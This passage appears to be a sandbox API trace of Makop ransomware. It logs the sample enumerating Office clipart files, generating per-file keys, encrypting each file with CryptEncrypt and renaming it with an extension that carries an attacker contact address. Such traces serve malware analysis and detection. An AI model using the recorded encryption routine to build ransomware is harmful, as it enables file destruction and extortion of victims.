Office\\CLIPART\\PUB60COR\\J0089945.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.472] CloseHandle (hObject=0xf0) returned 1 [0116.473] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0089992.WMF", cAlternateFileName="")) returned 1 [0116.473] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0116.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.474] GetProcessHeap () returned 0x48a0000 [0116.474] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.474] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.474] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.474] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.474] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.474] GetProcessHeap () returned 0x48a0000 [0116.475] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.475] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.475] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.475] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.479] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.479] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.479] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.479] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.480] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.480] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.480] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.480] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.480] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3d40, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3d40, lpOverlapped=0x0) returned 1 [0116.481] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d40, dwBufLen=0x3d40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d40) returned 1 [0116.481] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.482] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d40, lpOverlapped=0x0) returned 1 [0116.482] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.482] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.482] SetEndOfFile (hFile=0xf0) returned 1 [0116.489] GetProcessHeap () returned 0x48a0000 [0116.489] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.489] GetProcessHeap () returned 0x48a0000 [0116.489] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.489] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.489] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.490] CloseHandle (hObject=0xf0) returned 1 [0116.490] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090027.WMF", cAlternateFileName="")) returned 1 [0116.490] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0116.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.491] GetProcessHeap () returned 0x48a0000 [0116.491] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.491] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.491] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.491] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0116.495] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.495] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.495] GetProcessHeap () returned 0x48a0000 [0116.495] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.495] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.495] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.496] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.496] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.496] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.496] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.496] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.496] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.496] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.497] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.497] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.497] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5314, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5314, lpOverlapped=0x0) returned 1 [0116.499] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5320, dwBufLen=0x5320 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5320) returned 1 [0116.499] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.500] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5320, lpOverlapped=0x0) returned 1 [0116.500] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.500] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x53f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.500] SetEndOfFile (hFile=0xf0) returned 1 [0116.506] GetProcessHeap () returned 0x48a0000 [0116.506] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.507] GetProcessHeap () returned 0x48a0000 [0116.507] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.507] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.507] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.508] CloseHandle (hObject=0xf0) returned 1 [0116.508] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb758, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090087.WMF", cAlternateFileName="")) returned 1 [0116.508] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned 63 [0116.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.509] GetProcessHeap () returned 0x48a0000 [0116.509] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.509] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.509] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.509] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.515] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.515] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.515] GetProcessHeap () returned 0x48a0000 [0116.515] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.515] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.515] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.515] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.515] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.515] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.515] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.516] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.516] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.516] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.516] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.516] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.516] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb758, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb758, lpOverlapped=0x0) returned 1 [0116.518] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb760, dwBufLen=0xb760 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb760) returned 1 [0116.518] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.518] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb760, lpOverlapped=0x0) returned 1 [0116.519] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.519] SetEndOfFile (hFile=0xf0) returned 1 [0116.526] GetProcessHeap () returned 0x48a0000 [0116.526] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.526] GetProcessHeap () returned 0x48a0000 [0116.526] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.526] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.526] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.527] CloseHandle (hObject=0xf0) returned 1 [0116.527] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090089.WMF", cAlternateFileName="")) returned 1 [0116.527] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0116.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.529] GetProcessHeap () returned 0x48a0000 [0116.529] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.529] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.529] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.529] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.529] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.529] GetProcessHeap () returned 0x48a0000 [0116.529] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.529] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.530] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.530] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.534] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.534] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.534] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.534] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.534] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.534] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.534] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.534] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.534] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3d90, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3d90, lpOverlapped=0x0) returned 1 [0116.536] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d90, dwBufLen=0x3d90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d90) returned 1 [0116.536] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.536] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d90, lpOverlapped=0x0) returned 1 [0116.536] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.537] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.537] SetEndOfFile (hFile=0xf0) returned 1 [0116.543] GetProcessHeap () returned 0x48a0000 [0116.543] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.543] GetProcessHeap () returned 0x48a0000 [0116.543] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.543] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.543] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 